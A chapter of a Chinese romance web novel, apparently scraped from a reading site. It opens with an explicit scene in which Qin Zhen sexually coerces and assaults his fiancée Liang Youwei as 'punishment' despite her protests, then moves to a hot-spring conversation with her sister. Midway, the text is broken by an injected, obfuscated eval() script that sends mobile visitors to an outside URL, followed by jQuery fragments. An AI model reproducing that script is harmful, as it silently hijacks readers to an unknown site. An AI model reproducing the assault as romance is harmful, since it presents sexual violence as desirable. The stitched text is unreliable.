“秦、秦臻哥……”
冷汗在刹那间冒出,激得梁幼薇脊背发凉,浑身起鸡皮疙瘩。除了宿醉的沙哑,轻细声音中还有显而易见的慌张。
对面人的表情融入黑暗,再次重复:“回答我的问题,薇薇。”
“谁也没有。”梁幼薇听到自己有些战栗的音色,“秦臻哥哥,我谁也没有梦到……”
她死死抓住柔软蚕丝被,迟钝的大脑缓速运转。
秦臻怎么来了?还是在邵樾生日后突然出现?又问了自己那么奇怪的问题……包厢里人多眼杂,会不会有人录了视频,甚至把视频传给了秦臻?
她被自己的恐怖猜想吓到,呼吸愈发急促,压都压不下去。
“谁也没有梦到吗?”他似乎轻笑了声,“薇薇,你说谎。”
男人仿佛失去了盘问的耐心,他附身,向她压来,让她看清了自己眼中的不满。质疑,愤怒,嫉妒,偏执……一切阴暗负面的词,都在这样的目光中化为实质。
梁幼薇害怕这样的秦臻,她不敢去看他,偏过脑袋,想要躲避这份压力。
可下巴很快被抬起,没有丝毫温存爱意的吻降落,冰冷又灼热地扫荡她的口腔。
出于心虚,梁幼薇没有反抗,尽管难受不适,依旧仰着脆弱纤细的脖颈,努力接受秦臻给她的一切,乖顺得不像她。
舌尖被反复含住吮吸,强烈的心跳逐渐变为憋闷,窒息感如扑面奔涌的潮水,梁幼薇终于忍受不住,开始挣扎推拒。
但秦臻没有任何顺着她的意思,察觉到她的抗拒,这个吻反而更加深入。手掌稳稳扣住她的后脑与脊背,把她完全圈入了自己的领地。
强烈的窒息感笼罩,梁幼薇呼吸困难,眼尾洇出生理性泪水,眼周红得发烫。
即将陷入昏迷时,秦臻放过了她。
下一秒,梁幼薇用尽全身力气推开眼前人,身体无力地滑落跌倒,她撑着床榻,气喘吁吁,蝴蝶骨随之一起一伏,脆弱又美好。可额间的冷汗,昭示了那份并不平静的内心。
秦臻第一次这么强势,他是不是生气了?不对,他是非常生气,他一定是听人说了什么,或者看到了什么……
各种猜想满头乱飞,忽然之间,她耳边听得金属碰撞的声响,梁幼薇下意识抬头望去——
凄冷惨白的月光下,秦臻面无表情地解开皮带。名贵锃亮的方扣折出无机质的光,几乎要刺痛她的眼睛。
恐惧攫住心头,梁幼薇声音颤抖,她不敢置信:“秦臻……!”
“薇薇,你不乖。”
他甚至都没有完全脱去自己的衣服,整个人便压上来,把梁幼薇困在自己怀中。两人体型差太大,他只需稍稍用力,就能把猎物吃拆入腹。
秦臻的动作不急不迫,他把时间无限的拉长,像是要用未知狠狠恐吓怀里的女孩,让她更加的惊慌失措。
“我以为我们确定了关系,你就能更有分寸一些,不再像从前那样到处招惹。”
男人清冷的声音里沾上几分困惑不解,眼神中也是如此,他稍微偏了偏头,碎发也落下来,遮住了逐渐阴鸷的双眼。
“但现在看来,我好像错了。也许你需要警告,以及惩罚。”
他的话很不留情,可情绪却突然平和稳定,沉沉音色中甚至多了温柔。
极度不安浮上梁幼薇眼眸心口,她眼皮抖动,嘴唇微张,似乎想要解释什么。但秦臻打断了她,通过手。
“薇薇,你的嘴里没有实话,还是堵住比较好。”
说着,干净修长、修剪得宜的漂亮手指被不容拒绝地送入口中,无论是上面的,还是下面的。
……
“薇薇,你最喜欢谁。”
“……秦、秦臻,我最喜欢秦臻。”
再次深入。
“薇薇,你是谁的未婚妻。”
“是秦臻的……是秦臻的!”
不依不饶。
“薇薇,你要和谁永远在一起。”
“秦臻……我要和秦臻永远在一起……”
……
小腹传来几近痉挛的痛苦爽感,男人的汗滴沁入梁幼薇锁骨皮肉。感受到爆发的水意后,那人终于抽出自己的手,但转而换上别的,试探性地轻碰。
梁幼薇的眼泪更加汹涌:“秦臻,我、我真的不行,好疼……”
身上人笑意温柔,琥珀般的眼瞳中是循循善诱:“还喊秦臻吗?”
“哥哥,老公,我真的不行……”梁幼薇胡乱喊着,发麻的指尖摸着那人的臂膀,只想让他快点停下来。
“嗯。”秦臻笑意加深,轻轻在她唇上印下一吻,“老公现在不用那个乾你。”
“只要薇薇以后都乖。”
从没听过的荤话在耳边震荡,可那人却恍若不觉,低声呢喃,热气腾腾。
“好了,我们睡觉吧。”
梁幼薇紧紧掐着自己的皮肉,渗出血痕都没有察觉,她一动不敢动,安静的像是木偶人。
她过分害怕,“我要和你分手”,这句话被死死卡在喉咙口,最终成为了木偶人的独角戏。
秦臻……秦臻是个疯子。
黑夜中,她抑制着呼吸幅度。
秦臻,都是你先威胁我的。不能怪我。既然做出了这种不尊重我的事,那我们的关系就该终结,我们就该分手。
她单方面地自我宣告,给自己即将做出的一切找借口。
时间流逝,身体停止颤抖,秦臻也在身边熟睡。
梁幼薇喉头吞咽,声音极轻地落下:“秦臻?”
对方没有回应。
她松口气,继续自己轻不可闻的独角戏:“秦臻,我们分手吧……?”
对方依旧宁静。
沉默,就是默认了吧?梁幼薇的心脏简直要从胸腔跳出来,她的身体又开始微微颤动。
可就在这时,身边人突然抚上了自己的小腹,熟悉的体温透过丝绸贴上肌肤。
一瞬间,梁幼薇睁大瞳孔,如坠冰窟。
“秦、秦臻……”
而对方又是沉默。
就在此时,梁幼薇突然大口呼吸起来,诡异的欣喜涌上心头——秦臻真的睡着了。他只是在睡梦中无意识地摸了自己,仅此而已。
那么,此时此刻,沉默就是默认。
梁幼薇已经和秦臻分手了。换而言之,她自由了。
那个视频最终还是没能流传,邵樾秦臻不约而同地一一联系在场人员,把所有对梁幼薇不利的流言提前扼杀在摇篮里。
梁幼薇有所预感,却不敢去询问,只正常过着自己的生活。等到身上痕迹全部消除,才敢应母亲三姐的邀请,一起泡温泉。
“薇薇,这几天工作怎么样?还顺不顺利?”贺女士心情不错,扭头看向左边的梁幼薇。
“都挺好的,同事好相处,工作量不大。”女孩扭扭脖子,“而且感觉赚钱也蛮容易的嘛,这几天我签了好多单子呢。”
梁京仪勾唇,她轻抿冰牛奶,心想那确实容易,饭都喂到嘴边了,你只要签字就好。
“不过我觉得有点怪,难道我都不需要出去陪人吃饭谈合同吗?”
想到这茬,梁幼薇忍不住向梁京仪靠近,在不算大的水声中,主动点点她看似瘦弱的肩膀。
那人面色不变,轻轻扣住她的手,拉进水底,慢慢十指交扣:“这个啊,你想尝试吗?”
“想!”梁幼薇不反抗她的动作,貌似什么都没发生,她瞳孔亮亮,“感觉好酷啊,就那种谈笑间签下千万合同的洒脱自在,我还没试过呢。”
“很想自己做一遍,对吗?”梁京仪觉得她这模样很可爱,浅笑从眼里跑出来。
梁幼薇坚定点头:“对!”
这几天的工作太过顺利,她觉得自己在赚钱方面还是有点天赋的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672401|171483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那我们可以提前演练一遍。过几天我要和姚瑶窈谈生意,你跟着来,负责接待她,可以吗?”
“啊?”梁幼薇瞬间苦了脸,“接待姚瑶窈?就我?”
梁京仪笑吟吟,嗓音都被温泉水泡的温柔:“对啊,就你。不是说要好好锻炼么?提前看看顶级大boss,面对小怪会更容易。”
“可她最近追人很不顺利,你又不是不清楚……”梁幼薇挠挠她掌心,很为难,“你确定她还有心思谈生意?”
“为什么没有?钱还是要赚的。”梁京仪偏偏脑袋,几缕纯黑发丝缠缠绵绵地贴在侧颈上,配着自然上挑的眉眼,漂亮得惊心动魄。
“那好吧,我会努力的……”女孩气馁,转而松开她的手,趴在边缘的石壁沿上,纤细精致的脊背线条随呼吸一振一颤。
贺女士对两人的和睦相处非常满意开心,笑眯眯地和小姐妹们聊天,没注意到亲女儿看养女儿的眼神是如此不对劲。
梁京仪的手指攀上梁幼薇的蝴蝶骨边缘,而那人毫无察觉。或者说已经有所察觉,却并不觉得有何不对。
“不过话说回来,三姐,你说姚瑶窈怎么会喜欢那种男人啊?一个混娱乐圈的rapper,怎么听怎么离谱。除了一张勉强能看的脸,还有哪点可以配上姚瑶窈?”
梁幼薇回头不解发问,语气难掩轻蔑,非常反常的,透着股劲劲儿的高高在上。
虽然自己和姚瑶窈是见面必互怼的表姐妹,但梁幼薇真的很不喜欢妹妹挑选的预备役男朋友。
在她看来,姚瑶窈是方方面面都很完美的女王,那个王什么谦就是死装冷漠的废物,哪怕得过几个音乐奖也是废物——懂音乐的鸭子多的是。
“我也觉得她瞎了眼,不明白。”
梁京仪压根不喜欢男人,自然不会觉得男性有魅力可言,对姚瑶窈男友的态度只会比梁幼薇还差。
梁幼薇又去戳贺女士:“妈妈,你说是为什么啊?”
她真是太好奇了。
贺女士收了手机,无奈看她:“喜欢这种事就是不讲道理的呀,哪需要这么多理由。你爸当年追我也是这样,很多人都说他疯了。”
“那怎么能一样呢!”梁幼薇马上直起身子反驳,拍出阵阵水声,“你那么漂亮那么善良,梁江升就该喜欢你喜欢得要死要活。”
“嘘——可不能随随便便喊他大名。”欣慰高兴是真,但贺女士也为小女儿的大胆担心,连忙向她比手势。
梁幼薇做鬼脸,不知天高地厚。
听母亲说到“当年”,梁京仪突然起了兴趣:“妈,您能讲讲那时候的事吗?就是爸追您的事儿。”
贺女士咳了咳,面上被蒸汽熏红:“这有什么好讲的……”
话是这么说,但很明显,贺女士还是很怀念那段日子,以至于她记得每个细节,也记得梁江升的每句承诺。
梁京仪很安静地认真听着,从她的叙述中提取到不少关键词。
一见钟情?
好巧,她好像也是。
此生不换?
如果心上人能和那男人断干净,她也能做到。
盛大婚礼?
也不是不可以,国外允许同性结婚。
看来对美有所追求的事,是一种家族遗传。听到最后,梁京仪想。那就算以后自己为梁幼薇做出什么离谱的事,好像都怪不得她了。
总之不会越过她的亲生父亲。
不过……就算越过也没关系吧?这叫做什么来着?
对,青出于蓝而胜于蓝。
传统美德,需要传承。
这么想着,梁京仪唇畔漾出一个玩味的笑。
“三姐,你在笑什么呀?”双颊被猛然捧住,“妹妹”的纳闷紧随其后。
怎么笑得这么……奇怪?虽说很漂亮就是了。
梁京仪压上她的手掌,笑意不改:“你猜呢。”